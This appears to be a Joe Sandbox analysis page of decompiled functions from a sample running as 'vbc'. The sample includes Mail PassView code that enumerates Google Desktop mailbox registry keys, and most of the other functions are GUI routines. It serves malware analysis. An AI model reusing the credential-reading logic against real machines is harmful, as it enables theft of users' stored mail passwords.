                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@$free
                                                                                                              • String ID:
                                                                                                              • API String ID: 2241099983-0
                                                                                                              • Opcode ID: e877b3c141113aa516d4aed2f12a2d78980964a50e723d62a815cd4145734c1e
                                                                                                              • Instruction ID: 9ddd328a78e70669a2f2a4495a49ad6ad9a3331e0dda25fcf26d4743fc91c851
                                                                                                              • Opcode Fuzzy Hash: e877b3c141113aa516d4aed2f12a2d78980964a50e723d62a815cd4145734c1e
                                                                                                              • Instruction Fuzzy Hash: E3F0F6729028306BC9213B275011A8EB3657D4171431B056FF946BB7A28F3C6E9246FD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E81A Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 19%
                                                                                                              			E0040E81A(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, intOrPtr _a12) {
				void* __esi;
				void* _t11;
				void* _t26;
				void* _t27;

				_t26 = __edx;
				_t11 = _a4 - 0x110;
				_t27 = __ecx;
				if(_t11 == 0) {
					E0040E4A4(__ecx, __ecx, __eflags);
					E00406491(_t26,  *((intOrPtr*)(__ecx + 4)));
					L5:
					return E004015AE(_t27, _a4, _a8, _a12);
				}
				if(_t11 != 0x28 || E004062D1(_a12) == 0) {
					goto L5;
				} else {
					SetBkMode(_a8, 1);
					SetBkColor(_a8, GetSysColor(5));
					SetTextColor(_a8, 0xc00000);
					return GetSysColorBrush(5);
				}
			}







                                                                                                              0x0040e81a
                                                                                                              0x0040e820
                                                                                                              0x0040e826
                                                                                                              0x0040e828
                                                                                                              0x0040e871
                                                                                                              0x0040e879
                                                                                                              0x0040e87f
                                                                                                              0x00000000
                                                                                                              0x0040e88a
                                                                                                              0x0040e82d
                                                                                                              0x00000000
                                                                                                              0x0040e83c
                                                                                                              0x0040e841
                                                                                                              0x0040e853
                                                                                                              0x0040e861
                                                                                                              0x00000000
                                                                                                              0x0040e869

                                                                                                              APIs
                                                                                                                • Part of subcall function 004062D1: memset.MSVCRT ref: 004062F1
                                                                                                                • Part of subcall function 004062D1: GetClassNameA.USER32(?,00000000,000000FF), ref: 00406304
                                                                                                                • Part of subcall function 004062D1: _stricmp.MSVCRT(00000000,edit), ref: 00406316
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 0040E841
                                                                                                              • GetSysColor.USER32 ref: 0040E849
                                                                                                              • SetBkColor.GDI32(?,00000000), ref: 0040E853
                                                                                                              • SetTextColor.GDI32(?,00C00000), ref: 0040E861
                                                                                                              • GetSysColorBrush.USER32 ref: 0040E869
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Color$BrushClassModeNameText_stricmpmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1869857563-0
                                                                                                              • Opcode ID: fa2efa1d352e815f872068aeb743c84bb0f55ba64056062ab12fb6989f15ddc0
                                                                                                              • Instruction ID: 70d3a7b2db974a4d4567ef1bfe72cf66993607b5e30e9ab541cb73924f0fe55d
                                                                                                              • Opcode Fuzzy Hash: fa2efa1d352e815f872068aeb743c84bb0f55ba64056062ab12fb6989f15ddc0
                                                                                                              • Instruction Fuzzy Hash: 8CF01D32100205BBDF152FA6DD09E9E3F25EF08711F10C53AFA19A51E1CAB5D970DB58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B105 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 82%
                                                                                                              			E0040B105(intOrPtr __ecx, short _a4, short _a8) {
				char _v265;
				char _v520;
				char _v532;
				RECT* _v540;
				char _v560;
				intOrPtr _v564;
				char _v568;
				intOrPtr _v572;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t54;
				void* _t77;
				short _t85;
				short _t86;
				RECT* _t97;
				intOrPtr _t104;

				_t93 = __ecx;
				_t97 = 0;
				_t104 = __ecx;
				_v564 = __ecx;
				if(_a4 == 0 || _a4 == 1) {
					_t85 = _a8;
					if(_t85 == 0x9c42) {
						_t54 = DestroyWindow( *(_t104 + 0x108));
					}
					_t114 = _t85 - 0x9c49;
					if(_t85 == 0x9c49) {
						_t54 = E0040AEAA(_t93, _t97, _t104, _t114);
					}
					_t115 = _t85 - 0x9c59;
					if(_t85 == 0x9c59) {
						_t54 = E0040AE70(_t97, _t104, _t115);
					}
					_t116 = _t85 - 0x9c56;
					if(_t85 == 0x9c56) {
						_t54 = E0040ADB3(_t104, _t116);
					}
					if(_a8 == 0x9c58) {
						 *( *((intOrPtr*)(_t104 + 0x36c)) + 0xc) =  *( *((intOrPtr*)(_t104 + 0x36c)) + 0xc) ^ 0x00000001;
						_t54 = E0040A27F(0, _t93, _t104, 0);
					}
					if(_a8 == 0x9c44) {
						_t54 = E0040AD9D(_t104);
					}
					if(_a8 == 0x9c43) {
						_v532 = 0x413560;
						E00401000(_t93,  &_v520, 0x412404);
						E00401000(_t93,  &_v265, 0x412440);
						_t104 = _v564;
						_push( *(_t104 + 0x108));
						_push( &_v532);
						_t77 = 0x70;
						E00401540(_t77);
						SetFocus( *( *((intOrPtr*)(_t104 + 0x370)) + 0x184));
						_t20 =  &_v540; // 0x413560
						_t54 = E0040143D(_t20);
						_t97 = 0;
					}
					_t86 = _a8;
					_t122 = _t86 - 0x9c41;
					if(_t86 == 0x9c41) {
						_t54 = E0040AD38(_t104, _t93, _t122);
					}
					if(_t86 != 0x9c47) {
						L23:
						__eflags = _t86 - 0x9c4f;
						if(_t86 != 0x9c4f) {
							L27:
							__eflags = _t86 - 0x9c48;
							if(_t86 == 0x9c48) {
								_t54 = E0040AC8A(_t104, _t86);
							}
							__eflags = _t86 - 0x9c45;
							if(__eflags == 0) {
								_t100 = _t104 + 0x36c;
								 *( *(_t104 + 0x36c) + 4) =  *( *(_t104 + 0x36c) + 4) ^ 0x00000001;
								E0040A27F(0, _t93, _t104, __eflags);
								_t93 = 1;
								_t54 = E0040A00B( *((intOrPtr*)(_t104 + 0x370)), 1,  *((intOrPtr*)( *_t100 + 4)));
								_t97 = 0;
								__eflags = 0;
							}
							__eflags = _a8 - 0x9c46;
							if(__eflags == 0) {
								_t54 = E0040B095(_t104, __eflags, _t97);
							}
							__eflags = _a8 - 0x9c5c;
							if(_a8 == 0x9c5c) {
								 *( *((intOrPtr*)(_t104 + 0x36c)) + 0x10) =  *( *((intOrPtr*)(_t104 + 0x36c)) + 0x10) ^ 0x00000001;
								__eflags = 0;
								E0040A27F(0, _t93, _t104, 0);
								E0040A437(_t104);
								_t54 = InvalidateRect( *( *((intOrPtr*)(_t104 + 0x370)) + 0x184), _t97, _t97);
							}
							__eflags = _a8 - 0x9c4a;
							if(__eflags == 0) {
								_t54 = E0040B095(_t104, __eflags, 1);
							}
							__eflags = _a8 - 0x9c4b;
							if(_a8 == 0x9c4b) {
								_v540 = _t97;
								_v560 = 0x412ff4;
								E00405960( *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x370)) + 0x1b4)),  &_v560,  *(_t104 + 0x108),  *( *((intOrPtr*)(_t104 + 0x370)) + 0x184));
								_v568 = 0x412ff4;
								_t54 = E0040143D( &_v560);
								_t104 = _v572;
							}
							__eflags = _a8 - 0x9c4c;
							if(_a8 == 0x9c4c) {
								_t54 = E00408C3E( *((intOrPtr*)(_t104 + 0x370)));
							}
							__eflags = _a8 - 0x9c4e;
							if(_a8 == 0x9c4e) {
								_t54 = E00409C78( *((intOrPtr*)(_t104 + 0x370)),  *(_t104 + 0x108));
							}
							goto L43;
						}
						_t72 =  *((intOrPtr*)(_t104 + 0x370));
						__eflags =  *((intOrPtr*)(_t72 + 0x1b8)) - _t97;
						if( *((intOrPtr*)(_t72 + 0x1b8)) == _t97) {
							_t54 = E00408654(_t72, 0xffffffff, _t97, 2);
							goto L27;
						}
						_push(0xf000);
						_push(0x1000);
						goto L21;
					} else {
						_t72 =  *((intOrPtr*)(_t104 + 0x370));
						if( *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x370)) + 0x1b8)) == _t97) {
							_t54 = E00408654(_t72, 0xffffffff, 2, 2);
							goto L23;
						}
						_push(0xf000);
						_push(0x2000);
						L21:
						_push(0xffffffff);
						_t54 = E00408654(_t72);
						goto L43;
					}
				} else {
					L43:
					return _t54;
				}
			}




















                                                                                                              0x0040b105
                                                                                                              0x0040b114
                                                                                                              0x0040b11a
                                                                                                              0x0040b11c
                                                                                                              0x0040b120
                                                                                                              0x0040b12d
                                                                                                              0x0040b136
                                                                                                              0x0040b13e
                                                                                                              0x0040b13e
                                                                                                              0x0040b144
                                                                                                              0x0040b149
                                                                                                              0x0040b14b
                                                                                                              0x0040b14b
                                                                                                              0x0040b150
                                                                                                              0x0040b155
                                                                                                              0x0040b157
                                                                                                              0x0040b157
                                                                                                              0x0040b15c
                                                                                                              0x0040b161
                                                                                                              0x0040b165
                                                                                                              0x0040b165
                                                                                                              0x0040b170
                                                                                                              0x0040b178
                                                                                                              0x0040b17e
                                                                                                              0x0040b17e
                                                                                                              0x0040b189
                                                                                                              0x0040b18d
                                                                                                              0x0040b18d
                                                                                                              0x0040b198
                                                                                                              0x0040b1a3
                                                                                                              0x0040b1ab
                                                                                                              0x0040b1bc
                                                                                                              0x0040b1c1
                                                                                                              0x0040b1c5
                                                                                                              0x0040b1cf
                                                                                                              0x0040b1d2
                                                                                                              0x0040b1d3
                                                                                                              0x0040b1e4
                                                                                                              0x0040b1ea
                                                                                                              0x0040b1ee
                                                                                                              0x0040b1f3
                                                                                                              0x0040b1f3
                                                                                                              0x0040b1f5
                                                                                                              0x0040b1f9
                                                                                                              0x0040b1fe
                                                                                                              0x0040b202
                                                                                                              0x0040b202
                                                                                                              0x0040b20c
                                                                                                              0x0040b23d
                                                                                                              0x0040b23d
                                                                                                              0x0040b242
                                                                                                              0x0040b268
                                                                                                              0x0040b268
                                                                                                              0x0040b26d
                                                                                                              0x0040b271
                                                                                                              0x0040b271
                                                                                                              0x0040b276
                                                                                                              0x0040b27b
                                                                                                              0x0040b27d
                                                                                                              0x0040b285
                                                                                                              0x0040b28b
                                                                                                              0x0040b29d
                                                                                                              0x0040b29e
                                                                                                              0x0040b2a3
                                                                                                              0x0040b2a3
                                                                                                              0x0040b2a3
                                                                                                              0x0040b2a5
                                                                                                              0x0040b2ab
                                                                                                              0x0040b2b0
                                                                                                              0x0040b2b0
                                                                                                              0x0040b2b5
                                                                                                              0x0040b2bb
                                                                                                              0x0040b2c3
                                                                                                              0x0040b2c7
                                                                                                              0x0040b2c9
                                                                                                              0x0040b2ce
                                                                                                              0x0040b2e1
                                                                                                              0x0040b2e1
                                                                                                              0x0040b2e7
                                                                                                              0x0040b2ed
                                                                                                              0x0040b2f3
                                                                                                              0x0040b2f3
                                                                                                              0x0040b2f8
                                                                                                              0x0040b2fe
                                                                                                              0x0040b306
                                                                                                              0x0040b30f
                                                                                                              0x0040b329
                                                                                                              0x0040b330
                                                                                                              0x0040b334
                                                                                                              0x0040b339
                                                                                                              0x0040b339
                                                                                                              0x0040b33d
                                                                                                              0x0040b343
                                                                                                              0x0040b34b
                                                                                                              0x0040b34b
                                                                                                              0x0040b350
                                                                                                              0x0040b356
                                                                                                              0x0040b364
                                                                                                              0x0040b364
                                                                                                              0x00000000
                                                                                                              0x0040b356
                                                                                                              0x0040b244
                                                                                                              0x0040b24a
                                                                                                              0x0040b250
                                                                                                              0x0040b263
                                                                                                              0x00000000
                                                                                                              0x0040b263
                                                                                                              0x0040b252
                                                                                                              0x0040b257
                                                                                                              0x00000000
                                                                                                              0x0040b20e
                                                                                                              0x0040b20e
                                                                                                              0x0040b21a
                                                                                                              0x0040b238
                                                                                                              0x00000000
                                                                                                              0x0040b238
                                                                                                              0x0040b21c
                                                                                                              0x0040b221
                                                                                                              0x0040b226
                                                                                                              0x0040b226
                                                                                                              0x0040b228
                                                                                                              0x00000000
                                                                                                              0x0040b228
                                                                                                              0x0040b369
                                                                                                              0x0040b369
                                                                                                              0x0040b36f
                                                                                                              0x0040b36f

                                                                                                              APIs
                                                                                                              • DestroyWindow.USER32 ref: 0040B13E
                                                                                                              • SetFocus.USER32 ref: 0040B1E4
                                                                                                              • InvalidateRect.USER32(?,00000000,00000000), ref: 0040B2E1
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: DestroyFocusInvalidateRectWindow
                                                                                                              • String ID: `5A
                                                                                                              • API String ID: 3502187192-343712130
                                                                                                              • Opcode ID: 4c3d990881eba3cf74bda8571d7f9b3248234962b7985cf1d53a89f59e718e54
                                                                                                              • Instruction ID: 7dc3b259c8ef6dbe6f4b6ee630ad47b8a618685bd7b93527759b10f323b3e488
                                                                                                              • Opcode Fuzzy Hash: 4c3d990881eba3cf74bda8571d7f9b3248234962b7985cf1d53a89f59e718e54
                                                                                                              • Instruction Fuzzy Hash: 2B519130A043019BCB25BF658845E9AB3E0EF54724F44C57FF4696F2E1CB7999818B8E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405CEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 91%
                                                                                                              			E00405CEE(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t29;
				struct HDWP__* _t30;
				RECT* _t58;
				intOrPtr _t66;

				_push(__ecx);
				_push(__ecx);
				_t66 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0x24) {
						if(_a4 == 0xf) {
							E0040173B(__ecx + 0xc);
						}
					} else {
						_t29 = _a12;
						 *((intOrPtr*)(_t29 + 0x18)) = 0x190;
						 *((intOrPtr*)(_t29 + 0x1c)) = 0xb4;
					}
				} else {
					_t30 = BeginDeferWindowPos(0xb);
					_t58 = _t66 + 0xc;
					_v8 = _t30;
					E0040169B(_t58, _t30, 0x3ed, 0, 0, 1);
					E0040169B(_t58, _v8, 0x3ee, 0, 0, 1);
					E0040169B(_t58, _v8, 0x3f4, 0, 0, 1);
					E0040169B(_t58, _v8, 0x3ef, 0, 0, 1);
					E0040169B(_t58, _v8, 0x3f0, 1, 0, 0);
					E0040169B(_t58, _v8, 0x3f1, 1, 0, 0);
					E0040169B(_t58, _v8, 0x3f5, 1, 0, 0);
					E0040169B(_t58, _v8, 0x3f2, 1, 0, 0);
					E0040169B(_t58, _v8, 0x3f3, 1, 1, 0);
					E0040169B(_t58, _v8, 1, 1, 1, 0);
					E0040169B(_t58, _v8, 2, 1, 1, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t58 + 0x10), _t58, 1);
					_t66 = _v12;
				}
				return E004015AE(_t66, _a4, _a8, _a12);
			}










                                                                                                              0x00405cf1
                                                                                                              0x00405cf2
                                                                                                              0x00405cf9
                                                                                                              0x00405cfb
                                                                                                              0x00405cfe
                                                                                                              0x00405df3
                                                                                                              0x00405e0c
                                                                                                              0x00405e11
                                                                                                              0x00405e11
                                                                                                              0x00405df5
                                                                                                              0x00405df5
                                                                                                              0x00405df8
                                                                                                              0x00405dff
                                                                                                              0x00405dff
                                                                                                              0x00405d04
                                                                                                              0x00405d07
                                                                                                              0x00405d0f
                                                                                                              0x00405d1d
                                                                                                              0x00405d23
                                                                                                              0x00405d35
                                                                                                              0x00405d47
                                                                                                              0x00405d59
                                                                                                              0x00405d6b
                                                                                                              0x00405d7d
                                                                                                              0x00405d8f
                                                                                                              0x00405da1
                                                                                                              0x00405db3
                                                                                                              0x00405dc1
                                                                                                              0x00405dd0
                                                                                                              0x00405dd8
                                                                                                              0x00405de3
                                                                                                              0x00405de9
                                                                                                              0x00405dec
                                                                                                              0x00405e29

                                                                                                              APIs
                                                                                                              • BeginDeferWindowPos.USER32 ref: 00405D07
                                                                                                                • Part of subcall function 0040169B: GetDlgItem.USER32(?,?), ref: 004016AB
                                                                                                                • Part of subcall function 0040169B: GetClientRect.USER32 ref: 004016BD
                                                                                                                • Part of subcall function 0040169B: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00401727
                                                                                                              • EndDeferWindowPos.USER32(?), ref: 00405DD8
                                                                                                              • InvalidateRect.USER32(?,?,00000001), ref: 00405DE3
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: DeferWindow$Rect$BeginClientInvalidateItem
                                                                                                              • String ID: $
                                                                                                              • API String ID: 2498372239-3993045852
                                                                                                              • Opcode ID: eed8279c3271f2b27814900a34917ae49580b819969905b4e3b00ee4e388fd63
                                                                                                              • Instruction ID: 46e20a5f719da2480e3b09a58904212cef45bdfb275aa5f1a4c21840a4711c1e
                                                                                                              • Opcode Fuzzy Hash: eed8279c3271f2b27814900a34917ae49580b819969905b4e3b00ee4e388fd63
                                                                                                              • Instruction Fuzzy Hash: EB316D30641254BBCB216F13DD49D9F3F7CEF86BA4F10483DB409762A1C6798E10DAA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040719C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040719C(void* __ecx, intOrPtr _a4) {
				void _v259;
				char _v260;
				char _v264;
				void* _v268;
				void* _v276;
				long _t17;
				void* _t21;
				void* _t24;
				void* _t29;
				int _t32;
				signed int _t36;
				void* _t39;
				void* _t40;
				void* _t41;

				_t29 = __ecx;
				_t17 = E0040EB3F(0x80000001, "Software\\Google\\Google Desktop\\Mailboxes",  &_v268);
				_t39 = (_t36 & 0xfffffff8) - 0x108 + 0xc;
				if(_t17 == 0) {
					_t32 = 0;
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_t40 = _t39 + 0xc;
					_t21 = E0040EC05(_v268, 0,  &_v260);
					while(1) {
						_t41 = _t40 + 0xc;
						if(_t21 != 0) {
							break;
						}
						_t24 = E0040EB3F(_v268,  &_v260,  &_v264);
						_t40 = _t41 + 0xc;
						if(_t24 == 0) {
							E0040706C(_t29, _a4, _v264,  &_v260);
							RegCloseKey(_v276);
						}
						_t32 = _t32 + 1;
						_t21 = E0040EC05(_v268, _t32,  &_v260);
					}
					_t17 = RegCloseKey(_v268);
				}
				return _t17;
			}

















                                                                                                              0x0040719c
                                                                                                              0x004071b9
                                                                                                              0x004071be
                                                                                                              0x004071c3
                                                                                                              0x004071ca
                                                                                                              0x004071d2
                                                                                                              0x004071d7
                                                                                                              0x004071dc
                                                                                                              0x004071e9
                                                                                                              0x00407237
                                                                                                              0x00407237
                                                                                                              0x0040723c
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407204
                                                                                                              0x00407209
                                                                                                              0x0040720e
                                                                                                              0x0040721c
                                                                                                              0x00407225
                                                                                                              0x00407225
                                                                                                              0x0040722c
                                                                                                              0x00407232
                                                                                                              0x00407232
                                                                                                              0x00407242
                                                                                                              0x00407242
                                                                                                              0x00407249

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              • memset.MSVCRT ref: 004071D7
                                                                                                                • Part of subcall function 0040EC05: RegEnumKeyExA.KERNEL32 ref: 0040EC28
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00407225
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00407242
                                                                                                              Strings
                                                                                                              • Software\Google\Google Desktop\Mailboxes, xrefs: 004071AF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Close$EnumOpenmemset
                                                                                                              • String ID: Software\Google\Google Desktop\Mailboxes
                                                                                                              • API String ID: 2255314230-2212045309
                                                                                                              • Opcode ID: d3ec7475ccee5d11838e173028dda5b3636efa612b2e14c630bba120606db336
                                                                                                              • Instruction ID: abca04dfe3767426288f52b4a512d9ce3e2bfadbcd13eaa8a3c626f28e0c8a54
                                                                                                              • Opcode Fuzzy Hash: d3ec7475ccee5d11838e173028dda5b3636efa612b2e14c630bba120606db336
                                                                                                              • Instruction Fuzzy Hash: A71142728083456BD710EE52DC01EAB7BECEB84344F04093EF995E1191E735E628DAA7
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B70A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040B70A(void* __esi) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t15;
				struct HWND__* _t20;

				_t15 =  *0x416b94; // 0x400000
				_v44.hInstance = _t15;
				_v44.hIcon =  *((intOrPtr*)(__esi + 0x104));
				_v44.lpszClassName = __esi + 4;
				_v44.style = 0;
				_v44.lpfnWndProc = E004017C1;
				_v44.cbClsExtra = 0;
				_v44.cbWndExtra = 0;
				_v44.hCursor = 0;
				_v44.hbrBackground = 0x10;
				_v44.lpszMenuName = 0;
				RegisterClassA( &_v44);
				_t20 = CreateWindowExA(0, "MailPassView", "Mail PassView", 0xcf0000, 0, 0, 0x280, 0x1e0, 0, 0,  *0x416b94, __esi);
				 *(__esi + 0x108) = _t20;
				return _t20;
			}






                                                                                                              0x0040b710
                                                                                                              0x0040b715
                                                                                                              0x0040b71e
                                                                                                              0x0040b727
                                                                                                              0x0040b72e
                                                                                                              0x0040b731
                                                                                                              0x0040b738
                                                                                                              0x0040b73b
                                                                                                              0x0040b73e
                                                                                                              0x0040b741
                                                                                                              0x0040b748
                                                                                                              0x0040b74b
                                                                                                              0x0040b776
                                                                                                              0x0040b77c
                                                                                                              0x0040b784

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClassCreateRegisterWindow
                                                                                                              • String ID: Mail PassView$MailPassView
                                                                                                              • API String ID: 3469048531-1277648965
                                                                                                              • Opcode ID: 7d9b3190e156b9bfff027be3e0f607fb910863f17b47cbf685ca248547ef7640
                                                                                                              • Instruction ID: f223c9819260e0b75888b36d0bfde8daf7ba5992c102a2aca34afaaeb944facf
                                                                                                              • Opcode Fuzzy Hash: 7d9b3190e156b9bfff027be3e0f607fb910863f17b47cbf685ca248547ef7640
                                                                                                              • Instruction Fuzzy Hash: 3601ECB5D01248ABDB10CF96CD45ADFFFF8EB99B00F10812AE555F2250D7B46544CB68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00401085 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00401085(void* __esi, void* __eflags) {
				struct tagLOGFONTA _v64;
				int _t10;
				long _t11;

				E00406191( &_v64, "MS Sans Serif", 0xa, 1);
				_t10 = CreateFontIndirectA( &_v64);
				 *(__esi + 0x20c) = _t10;
				_t11 = SendDlgItemMessageA( *(__esi + 4), 0x3ec, 0x30, _t10, 0);
				if( *0x417388 != 0) {
					return SendDlgItemMessageA( *(__esi + 4), 0x3ee, 0x30,  *(__esi + 0x20c), 0);
				}
				return _t11;
			}






                                                                                                              0x00401098
                                                                                                              0x004010a4
                                                                                                              0x004010bd
                                                                                                              0x004010c3
                                                                                                              0x004010cc
                                                                                                              0x00000000
                                                                                                              0x004010e0
                                                                                                              0x004010e4

                                                                                                              APIs
                                                                                                                • Part of subcall function 00406191: memset.MSVCRT ref: 0040619B
                                                                                                                • Part of subcall function 00406191: strcpy.MSVCRT(?,00000000,?,00000000,0000003C,00000000,?,00406269,Arial,0000000E,00000000), ref: 004061DB
                                                                                                              • CreateFontIndirectA.GDI32(?), ref: 004010A4
                                                                                                              • SendDlgItemMessageA.USER32(?,000003EC,00000030,00000000,00000000), ref: 004010C3
                                                                                                              • SendDlgItemMessageA.USER32(?,000003EE,00000030,?,00000000), ref: 004010E0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ItemMessageSend$CreateFontIndirectmemsetstrcpy
                                                                                                              • String ID: MS Sans Serif
                                                                                                              • API String ID: 4251605573-168460110
                                                                                                              • Opcode ID: a5c1b06fa8ac567c51537cce04f23f48b3e0294f7b0701913d9bb68d384747bd
                                                                                                              • Instruction ID: 11d026e54a5ae2454c64c325e08d9e616df03e05f7163fa19ba200447038793b
                                                                                                              • Opcode Fuzzy Hash: a5c1b06fa8ac567c51537cce04f23f48b3e0294f7b0701913d9bb68d384747bd
                                                                                                              • Instruction Fuzzy Hash: 73F0A775A8034877E72167A0ED47F8A7BACAB40B00F10C135FB61B51E1D6F47554DB58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040DE43 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040DE43(void** __eax, struct HWND__* _a4) {
				int _t6;
				void** _t10;

				_t10 = __eax;
				if( *0x417510 == 0) {
					memcpy(0x416e70,  *__eax, 0x50);
					memcpy(0x416ba0,  *(_t10 + 4), 0x2cc);
					 *0x417510 = 1;
					_t6 = DialogBoxParamA( *0x416b94, 0x6b, _a4, E0040DB39, 0);
					 *0x417510 =  *0x417510 & 0x00000000;
					 *0x416b9c = _t6;
					return 1;
				} else {
					return 1;
				}
			}





                                                                                                              0x0040de4b
                                                                                                              0x0040de4d
                                                                                                              0x0040de5d
                                                                                                              0x0040de6f
                                                                                                              0x0040de8d
                                                                                                              0x0040de93
                                                                                                              0x0040de99
                                                                                                              0x0040dea0
                                                                                                              0x0040dea8
                                                                                                              0x0040de4f
                                                                                                              0x0040de53
                                                                                                              0x0040de53

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$DialogParam
                                                                                                              • String ID: V7
                                                                                                              • API String ID: 392721444-2959985473
                                                                                                              • Opcode ID: 5e9eade56f70dddb9201fe9d43162507361263185449feca73d32e9d96fafbc6
                                                                                                              • Instruction ID: 1a8743d5fef8bbef7923f2c95fec7d45d4f15d0a806a7122114c86eec2fd18b9
                                                                                                              • Opcode Fuzzy Hash: 5e9eade56f70dddb9201fe9d43162507361263185449feca73d32e9d96fafbc6
                                                                                                              • Instruction Fuzzy Hash: 93F0A7716843207BD7116F54AC06BC63BF2B704B5AF114926F149E40E1D3F56550CBCC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

